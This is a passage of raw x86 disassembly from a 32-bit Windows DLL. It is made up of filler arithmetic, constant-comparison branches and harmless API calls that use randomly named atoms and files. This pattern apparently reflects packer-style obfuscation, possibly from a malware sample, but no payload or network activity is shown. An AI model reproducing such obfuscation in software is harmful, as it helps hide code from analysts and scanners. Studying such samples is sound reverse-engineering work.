mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
or eax, dword [ebp - 0x33b4]
mov dword [ebp - 0x2afc], eax
call fcn.100015c0
movsx edx, byte [ebp - 0x261]
movsx ecx, byte [ebp - 0x1d5]
shl edx, cl
mov byte [str._AaV], dl
movzx eax, word [ebp - 0x113c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9520], ax
lea ecx, [ebp - 0xbdc]
mov dword [ebp - 0x3428], ecx
movsx edx, byte [0x100b7d97]
movsx ecx, byte [ebp - 0x261]
sar edx, cl
mov byte [ebp - 0xef], dl
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [eax]
mov dword [0x100b9524], ecx
movzx edx, word [ebp - 0x1138]
mov dword [ebp - 0x342c], edx
cmp dword [ebp - 0x342c], 0x2b75
je 0x1000701e
jmp 0x100070c3
mov eax, dword [ebp - 0x33d4]
mov dword [ebp - 0x3430], eax
cmp dword [ebp - 0x3430], 0x3ef67
je 0x1000703b
jmp 0x100070c3
mov cx, word [0x100b94a0]
mov word [ebp - 0x1140], cx
mov edx, dword [ebp - 0x33f4]
mov al, byte [edx]
mov byte [ebp - 0x3434], al
cmp byte [ebp - 0x3434], 0
je 0x10007062
jmp 0x100070c3
mov ecx, dword [ebp - 0x33f4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x260]
and edx, eax
mov byte [ebp - 0x8f], dl
mov ecx, dword [ebp - 0x33e4]
mov dl, byte [ecx]
mov byte [ebp - 0x3438], dl
cmp byte [ebp - 0x3438], 0x5f
je 0x10007093
jmp 0x100070c3
mov eax, dword [ebp - 0x343c]
push eax
mov ecx, dword [0x100b94ac]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x3440], eax
mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2afc]
mov ecx, dword [0x100b94a4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33ec]
movzx eax, word [edx]
mov dword [ebp - 0x3444], eax
cmp dword [ebp - 0x3444], 0xf1
je 0x100070e0
jmp 0x100070f7
movzx ecx, word [ebp - 0x1138]
movzx edx, word [0x100b94f8]
xor ecx, edx
mov word [ebp - 0xbdc], cx
mov al, byte [0x100b7d97]
mov byte [ebp - 0x262], al
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b71d0], dx
push str.C1X9U2q_HLFUOHNS
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9528], ax
movsx edx, byte [ebp - 0x262]
movsx ecx, byte [0x100b7d97]
shl edx, cl
mov byte [ebp - 0x261], dl
mov dword [0x100b952c], 0x100b9524
mov al, byte [ebp - 0x1d5]
mov byte [ebp - 0x3448], al
cmp byte [ebp - 0x3448], 0x89
je 0x10007165
jmp 0x100071b2
mov ecx, dword [0x100b951c]
movsx edx, word [ecx]
mov dword [ebp - 0x344c], edx
cmp dword [ebp - 0x344c], 0xffffdcd4
je 0x10007182
jmp 0x100071b2
lea eax, [ebp - 0x1140]
mov dword [ebp - 0x3450], eax
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x3454], ecx
mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
mov dword [0x100b9530], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b94b0], eax
movzx ecx, word [ebp - 0xbdc]
mov edx, dword [ebp - 0x33dc]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x61c], cx
mov ecx, dword [0x100b71c8]
mov dword [ebp - 0x3458], ecx
mov edx, dword [ebp - 0x3454]
mov al, byte [edx]
mov byte [ebp - 0x345c], al
cmp byte [ebp - 0x345c], 0
je 0x100071f3
jmp 0x100a37a1
push 0
push 0x200
push 5
push 0
push 2
push 0x40000000
push str.Zy1Dn6_aAsyIFJ37nAYWCF6LsHe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3460], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3464], eax
mov cl, byte [ebp - 0xef]
mov byte [ebp - 0x3468], cl
cmp byte [ebp - 0x3468], 0xff
je 0x10007239
jmp 0x1000725d
mov dword [ebp - 0x346c], 0x100b9524
movzx edx, byte [ebp - 0x8f]
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x33e4]
mov byte [eax], dl
movsx ecx, word [ebp - 0x1130]
mov dword [ebp - 0x3470], ecx
cmp dword [ebp - 0x3470], 0xffffdcd4
je 0x1000727b
jmp 0x100a378f
movsx edx, byte [ebp - 0x261]
movsx eax, byte [0x100b7d97]
xor edx, eax
mov byte [0x100b7133], dl
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ecx]
mov dword [ebp - 0x3474], edx
cmp dword [ebp - 0x3474], 0x46bd
je 0x100072ad
jmp 0x100072ca
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x33ec]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x33dc]
mov word [edx], cx
mov dword [ebp - 0x3478], 0x100b71c8
mov eax, dword [ebp - 0x3028]
mov dword [ebp - 0x347c], eax
cmp dword [ebp - 0x347c], 0x46df
je 0x100072ee
jmp 0x10007337
mov ecx, dword [ebp - 0x3480]
push ecx
mov edx, dword [0x100b94b8]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9534], eax
mov eax, dword [ebp - 0x3484]
push eax
mov ecx, dword [ebp - 0x33a0]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9538], eax
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
movzx ecx, byte [0x100b712e]
sar eax, cl
mov byte [0x100b712f], al
lea ecx, [ebp - 0x1140]
mov dword [ebp - 0x3488], ecx
mov dl, byte [0x100b712f]
mov byte [ebp - 0x348c], dl
cmp byte [ebp - 0x348c], 0
je 0x1000735a
jmp 0x1000736f
mov dword [ebp - 0x3490], 0x100b7133
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
mov eax, dword [ebp - 0x346c]
mov ecx, dword [eax]
mov dword [0x100b9540], ecx
movzx edx, word [ebp - 0x1138]
movzx eax, word [ebp - 0x61c]
imul edx, eax
mov word [ebp - 0x108c], dx
lea ecx, [ebp - 0x33d4]
mov dword [ebp - 0x3494], ecx
mov edx, dword [ebp - 0x33b4]
mov dword [ebp - 0x3498], edx
cmp dword [ebp - 0x3498], 0x1815
je 0x100073bb
jmp 0x100073d4
mov eax, dword [0x100b9508]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x1140]
sub ecx, edx
mov eax, dword [0x100b951c]
mov word [eax], cx
lea ecx, [ebp - 0x261]
mov dword [ebp - 0x349c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33e0], eax
mov dx, word [0x100b94a0]
mov word [ebp - 0x1144], dx
lea eax, [ebp - 0x108c]
mov dword [0x100b9544], eax
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x349c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x262], dl
mov ecx, dword [ebp - 0x3454]
mov dl, byte [ecx]
mov byte [ebp - 0x34a0], dl
cmp byte [ebp - 0x34a0], 0
je 0x1000743b
jmp 0x100a377d
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
mov dword [ebp - 0x34a4], ecx
cmp dword [ebp - 0x34a4], 0x9fb
je 0x10007457
jmp 0x10007484
mov edx, dword [0x100b952c]
mov eax, dword [edx]
or eax, dword [0x100b9524]
mov dword [ebp - 0x3028], eax
mov ecx, dword [0x100b954c]
push ecx
mov edx, dword [ebp - 0x33a0]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9548], eax
mov eax, dword [ebp - 0x3488]
movsx ecx, word [eax]
mov dword [ebp - 0x34a8], ecx
cmp dword [ebp - 0x34a8], 0x763
je 0x100074a1
jmp 0x100074ca
mov edx, dword [ebp - 0x2afc]
add edx, dword [ebp - 0x3458]
mov eax, dword [0x100b94a4]
mov dword [eax], edx
movzx ecx, byte [0x100b712f]
movzx edx, byte [ebp - 0x1a5]
and ecx, edx
mov byte [ebp - 0x260], cl
mov dword [ebp - 0x34ac], 0x100b94f4
lea eax, [ebp - 0x9bb0]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [ebp - 0x1138]
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100b71cc], cx
mov ecx, dword [ebp - 0x33dc]
movzx edx, word [ecx]
mov dword [ebp - 0x34b0], edx
cmp dword [ebp - 0x34b0], 0x2b75
je 0x10007517
jmp 0x1000752f
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b953c], eax
lea eax, [ebp - 0xad38]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1d5]
sar edx, cl
mov byte [ebp - 0x1f4], dl
mov eax, dword [ebp - 0x3494]
mov ecx, dword [eax]
imul ecx, dword [0x100b9530]
mov edx, dword [ebp - 0x3478]
mov dword [edx], ecx
lea eax, [ebp - 0x3028]
mov dword [0x100b9550], eax
movzx ecx, byte [0x100b712f]
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x8f], cl
mov cx, word [ebp - 0x61c]
mov word [ebp - 0x1148], cx
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
mov dword [ebp - 0x34b4], eax
cmp dword [ebp - 0x34b4], 0x42e3
je 0x100075ab
jmp 0x100075dd
movzx ecx, word [0x100b94f8]
push ecx
mov edx, dword [ebp - 0x346c]
mov eax, dword [edx]
push eax
call fcn.10001540
add esp, 8
mov ecx, dword [0x100b9554]
push ecx
mov edx, dword [ebp - 0x34b8]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b94bc], eax
lea eax, [ebp - 0x1140]
mov dword [0x100b9558], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x34bc], eax
mov ecx, dword [ebp - 0x349c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x262]
shl edx, cl
mov byte [ebp - 0xbb], dl
mov eax, dword [ebp - 0x3494]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2afc]
mov edx, dword [ebp - 0x3478]
mov dword [edx], ecx
mov eax, dword [ebp - 0x33ec]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x33dc]
movzx eax, word [edx]
and ecx, eax
mov word [0x100b71d4], cx
movzx ecx, byte [0x100b712f]
movzx edx, byte [ebp - 0x8f]
or ecx, edx
mov byte [ebp - 0xa7], cl
mov eax, dword [0x100b9540]
mov dword [ebp - 0x34c0], eax
lea ecx, [ebp - 0x1f4]
mov dword [0x100b955c], ecx
movsx edx, word [0x100b94f4]
mov eax, dword [ebp - 0x34ac]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3450]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9560], eax
mov ecx, dword [ebp - 0x3478]
mov eax, dword [ebp - 0x2afc]
cdq
idiv dword [ecx]
mov dword [ebp - 0x33b4], eax
mov edx, dword [0x100b94a4]
mov eax, dword [edx]
mov dword [ebp - 0x34c4], eax
cmp dword [ebp - 0x34c4], 0x7c4f6ad8
je 0x100076c9
jmp 0x1000771b
mov ecx, dword [ebp - 0x349c]
mov dl, byte [ecx]
mov byte [ebp - 0x34c8], dl
cmp byte [ebp - 0x34c8], 0x23
je 0x100076e2
jmp 0x100076fb
movzx eax, word [ebp - 0x61c]
movzx ecx, word [0x100b71d0]
add eax, ecx
mov edx, dword [0x100b9544]
mov word [edx], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x34cc], eax
mov eax, dword [ebp - 0x33e4]
mov cl, byte [eax]
mov byte [ebp - 0x263], cl
lea edx, [ebp - 0x1f4]
mov dword [ebp - 0x34d0], edx
push 0x100b9564
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34d4], eax
movzx eax, word [ebp - 0x1138]
movzx ecx, word [ebp - 0x1148]
and eax, ecx
mov word [0x100b71cc], ax
push 0
push 0x400
push 2
push 0
push 1
push 0x80000000
push str.2mRMebKBIXCRfopnzVSAiYGD
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x34d8], eax
mov edx, dword [0x100b952c]
mov eax, dword [ebp - 0x3028]
sub eax, dword [edx]
mov dword [ebp - 0x3080], eax
push 0x26db
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b957c], eax
push str.LULJ_DZD0TCU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x114c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3374], eax
movsx edx, word [ebp - 0x1130]
mov dword [ebp - 0x34dc], edx
cmp dword [ebp - 0x34dc], 0xc7
je 0x100077db
jmp 0x1000780d
movsx eax, word [ebp - 0x1144]
mov ecx, dword [ebp - 0x3450]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x1130], ax
mov edx, dword [0x100b94d8]
push edx
mov eax, dword [ebp - 0x33a0]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9580], eax
lea ecx, [ebp - 0x33d4]
mov dword [0x100b9584], ecx
mov edx, dword [0x100b9550]
mov eax, dword [edx]
mov dword [ebp - 0x34e0], eax
cmp dword [ebp - 0x34e0], 0x2329
je 0x10007835
jmp 0x1000784f
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7133]
xor edx, eax
mov ecx, dword [ebp - 0x34d0]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x34e4], eax
movzx edx, word [ebp - 0x108c]
mov dword [ebp - 0x34e8], edx
cmp dword [ebp - 0x34e8], 0x8379
je 0x10007876
jmp 0x100078ce
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
mov dword [ebp - 0x34ec], ecx
cmp dword [ebp - 0x34ec], 0xaa1
je 0x10007892
jmp 0x100078c2
mov edx, dword [ebp - 0x34f0]
push edx
mov eax, dword [0x100b9588]
push eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9548], eax
movzx ecx, byte [ebp - 0x263]
mov edx, dword [ebp - 0x334c]
movzx eax, byte [edx]
or ecx, eax
mov byte [0x100b712f], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x34f4], eax
mov ecx, dword [ebp - 0x3028]
mov dword [ebp - 0x34f8], ecx
cmp dword [ebp - 0x34f8], 0x1ec1
je 0x100078e8
jmp 0x1000793d
mov edx, dword [ebp - 0x33b8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1138]
sar eax, cl
mov word [ebp - 0x108c], ax
mov ecx, dword [0x100b9584]
mov edx, dword [0x100b94a4]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x33e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x349c]
movzx ecx, byte [eax]
push ecx
call fcn.10001570
add esp, 0xc
mov edx, dword [0x100b950c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [0x100b958c], 0x100b9524
mov eax, dword [ebp - 0x3080]
mov dword [ebp - 0x34fc], eax
cmp dword [ebp - 0x34fc], 0
je 0x1000796b
jmp 0x100079a8
mov ecx, dword [ebp - 0x34ac]
movsx edx, word [ecx]
movsx eax, word [0x100b94f4]
and edx, eax
mov word [ebp - 0x1140], dx
lea ecx, [ebp - 0xad5c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dl, byte [ebp - 0x1d5]
mov byte [ebp - 0x264], dl
mov al, byte [ebp - 0x1a5]
mov byte [0x100b7df6], al
mov ecx, dword [ebp - 0x346c]
mov edx, dword [ecx]
mov dword [ebp - 0x3500], edx
cmp dword [ebp - 0x3500], 0x14739e43
je 0x100079c7
jmp 0x100a3737
mov eax, dword [0x100b955c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
xor ecx, eax
mov byte [0x100b713e], cl
mov ecx, dword [ebp - 0x3478]
mov edx, dword [ecx]
mov dword [ebp - 0x3504], edx
cmp dword [ebp - 0x3504], 0x7d1d
je 0x100079fc
jmp 0x10007a30
mov eax, dword [ebp - 0x3390]
push eax
mov ecx, dword [ebp - 0x3508]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9594], eax
mov edx, dword [0x100b9558]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x34ac]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1130], ax
lea eax, [ebp - 0x34c0]
mov dword [ebp - 0x350c], eax
mov ecx, dword [0x100b94a4]
mov edx, dword [ecx]
mov dword [ebp - 0x3510], edx
cmp dword [ebp - 0x3510], 0x7c4f6ad8
je 0x10007a58
jmp 0x10007aa6
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b94cc], eax
mov dword [0x100b9598], 0x100b712e
movzx eax, word [ebp - 0x1148]
mov ecx, dword [ebp - 0x3428]
movzx ecx, word [ecx]
sar eax, cl
mov edx, dword [ebp - 0x33ec]
mov word [edx], ax
mov eax, dword [ebp - 0x3494]
mov ecx, dword [ebp - 0x33d4]
or ecx, dword [eax]
mov dword [ebp - 0x2e18], ecx
mov dword [0x100b959c], 0x100b7132
movsx edx, word [ebp - 0x1140]
movsx eax, word [ebp - 0x1130]
and edx, eax
mov word [ebp - 0x1144], dx
mov cx, word [ebp - 0x1138]
mov word [ebp - 0x1150], cx
mov edx, dword [ebp - 0x33e4]
mov al, byte [edx]
mov byte [0x100b7df7], al
movzx ecx, word [ebp - 0x114c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b95a0], ax
push 0x100b95a4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100b952c]
mov eax, dword [edx]
mov dword [ebp - 0x3514], eax
cmp dword [ebp - 0x3514], 0x7911
je 0x10007b13
jmp 0x10007b53
mov ecx, dword [ebp - 0x3080]
xor ecx, dword [ebp - 0x3028]
mov edx, dword [ebp - 0x3418]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3518]
push eax
mov ecx, dword [0x100b94ac]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [ebp - 0x351c], eax
mov edx, dword [0x100b9530]
sub edx, dword [0x100b71c8]
mov dword [ebp - 0x33d4], edx
push 0x100b95c8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x34d0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x262]
shl edx, cl
mov byte [0x100b7133], dl
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1148]
add ecx, edx
mov word [ebp - 0x1150], cx
movzx eax, word [ebp - 0x113c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1154], ax
mov ecx, dword [ebp - 0x33b4]
mov dword [ebp - 0x3520], ecx
cmp dword [ebp - 0x3520], 0x279f
je 0x10007bbd
jmp 0x10007bef
movsx edx, word [0x100b94a0]
movsx ecx, word [ebp - 0x1130]
sar edx, cl
mov eax, dword [ebp - 0x3488]
mov word [eax], dx
mov ecx, dword [ebp - 0x3420]
push ecx
mov edx, dword [0x100b95e4]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b95e0], eax
movsx eax, byte [ebp - 0x262]
mov ecx, dword [ebp - 0x34d0]
movsx edx, byte [ecx]
and eax, edx
mov byte [str._AaV], al
lea eax, [ebp - 0x1a5]
mov dword [ebp - 0x3524], eax
mov ecx, dword [ebp - 0x3418]
mov edx, dword [ebp - 0x3080]
or edx, dword [ecx]
mov eax, dword [ebp - 0x350c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x1144]
mov dword [ebp - 0x3528], ecx
cmp dword [ebp - 0x3528], 0x579
je 0x10007c43
jmp 0x10007c55
mov edx, dword [ebp - 0x33b4]
xor edx, dword [ebp - 0x3458]
mov dword [0x100b9530], edx
push 0
push 4
push 4
push 0
push 1
push 0x80000000
push str.NmBAo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b95e8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x352c], eax
mov eax, dword [ebp - 0x33dc]
movzx ecx, word [eax]
movzx edx, word [0x100b71cc]
add ecx, edx
mov word [ebp - 0x108c], cx
mov eax, dword [ebp - 0x3490]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x262]
shl edx, cl
mov byte [ebp - 0xf1], dl
mov eax, dword [ebp - 0x3488]
mov cx, word [eax]
mov word [0x100b95ec], cx
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x3494]
mov ecx, dword [ebp - 0x33e8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x3478]
mov dword [eax], edx
mov ecx, dword [0x100b9544]
movzx edx, word [ecx]
imul eax, edx, 0xdc5
mov word [0x100b71d8], ax
mov ecx, dword [0x100b9550]
mov eax, dword [ebp - 0x3028]
xor edx, edx
div dword [ecx]
mov edx, dword [ebp - 0x3418]
mov dword [edx], eax
mov eax, dword [ebp - 0x33d4]
mov dword [ebp - 0x3530], eax
cmp dword [ebp - 0x3530], 0x3db9
je 0x10007d39
jmp 0x10007d53
movsx ecx, byte [ebp - 0x261]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3490]
mov byte [edx], cl
mov eax, dword [ebp - 0x34ac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
or ecx, eax
mov edx, dword [0x100b9508]
mov word [edx], cx
mov dword [ebp - 0x3534], 0x100b7df6
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov eax, dword [ebp - 0x3494]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3458]
mov dword [ebp - 0x33b4], ecx
lea edx, [ebp - 0xbdc]
mov dword [0x100b95f0], edx
lea eax, [ebp - 0x261]
mov dword [ebp - 0x3538], eax
movsx ecx, word [0x100b95ec]
mov dword [ebp - 0x353c], ecx
cmp dword [ebp - 0x353c], 0xffffdcd4
je 0x10007dcf
jmp 0x100a371d
lea edx, [ebp - 0x1138]
mov dword [ebp - 0x3540], edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3544], eax
lea eax, [ebp - 0x3080]
mov dword [0x100b95f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b949c], eax
mov ecx, dword [ebp - 0x3450]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1140]
sub edx, eax
mov word [ebp - 0x1130], dx
mov dword [ebp - 0x3548], 0x100b7df7
push 0x100b95fc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x3458]
mov dword [0x100b9620], ecx
movsx edx, byte [ebp - 0x262]
movsx ecx, byte [ebp - 0xf1]
shl edx, cl
mov eax, dword [ebp - 0x34d0]
mov byte [eax], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x354c], eax
mov ecx, dword [0x100b9544]
mov dx, word [ecx]
mov word [ebp - 0x1158], dx
movzx eax, word [ebp - 0x1138]
mov ecx, dword [0x100b95f0]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x100b71d8], ax
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0xef], al
mov eax, dword [ebp - 0x346c]
mov ecx, dword [ebp - 0x3418]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [0x100b71dc], edx
push str.ybNbsM_NvyP4c99_KPSuReR_GlTU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9624], ax
movzx eax, word [ebp - 0x108c]
mov dword [ebp - 0x3550], eax
cmp dword [ebp - 0x3550], 0x2b75
je 0x10007eed
jmp 0x10007f37
push 0
push 0x40
push 2
push 0
push 8
push 0xc0000000
push str.8dcqRxyojE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3554], eax
mov ecx, dword [ebp - 0x3488]
mov dx, word [ecx]
mov word [ebp - 0x115c], dx
movzx eax, byte [0x100b7df6]
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3524]
mov byte [ecx], al
mov edx, dword [0x100b9598]
mov al, byte [edx]
mov byte [ebp - 0x3558], al
cmp byte [ebp - 0x3558], 0xe7
je 0x10007f50
jmp 0x10007f80
mov ecx, dword [ebp - 0x3478]
mov edx, dword [ebp - 0x3494]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [0x100b9530], eax
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x61c]
xor edx, eax
mov ecx, dword [ebp - 0x3540]
mov word [ecx], dx
lea edx, [ebp - 0x2afc]
mov dword [ebp - 0x355c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3560], eax
mov eax, dword [ebp - 0x2afc]
mov dword [ebp - 0x3564], eax
cmp dword [ebp - 0x3564], 0x70d3
je 0x10007fb8
jmp 0x10008001
mov ecx, dword [ebp - 0x3414]
push ecx
mov edx, dword [0x100b94ac]
push edx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9590], eax
movsx eax, word [ebp - 0x1140]
movsx ecx, word [ebp - 0x1130]
shl eax, cl
mov word [0x100b95ec], ax
mov ecx, dword [ebp - 0x33fc]
mov edx, dword [ebp - 0x3418]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x346c]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3568], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9628], eax
movzx edx, byte [ebp - 0x1a5]
mov eax, dword [ebp - 0x3524]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3454]
mov byte [eax], dl
movzx ecx, word [ebp - 0x113c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b962c], ax
mov edx, dword [0x100b71c8]
mov dword [ebp - 0x356c], edx
cmp dword [ebp - 0x356c], 0x3ef67
je 0x10008068
jmp 0x100080ca
mov al, byte [ebp - 0x1d5]
mov byte [0x100b7dfe], al
mov ecx, dword [0x100b959c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xcf], dl
mov edx, dword [ebp - 0x3494]
mov eax, dword [ebp - 0x33b4]
imul eax, dword [edx]
mov ecx, dword [ebp - 0x355c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3534]
mov al, byte [edx]
mov byte [0x100b7dff], al
mov ecx, dword [0x100b951c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x115c]
xor edx, eax
mov word [ebp - 0x1144], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x33e0], eax
lea ecx, [ebp - 0x108c]
mov dword [ebp - 0x3570], ecx
movsx edx, word [0x100b94f4]
mov dword [ebp - 0x3574], edx
cmp dword [ebp - 0x3574], 0x1a1
je 0x100080fd
jmp 0x10008115
mov eax, dword [0x100b9630]
push eax
mov ecx, dword [ebp - 0x3578]
push ecx
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
mov dword [0x100b9514], eax
mov edx, dword [ebp - 0x3080]
xor edx, dword [ebp - 0x3028]
mov dword [0x100b9540], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33c8], eax
mov eax, dword [ebp - 0x3494]
mov ecx, dword [eax]
mov dword [ebp - 0x357c], ecx
cmp dword [ebp - 0x357c], 0x6635
je 0x1000814f
jmp 0x1000817f
mov edx, dword [0x100b959c]
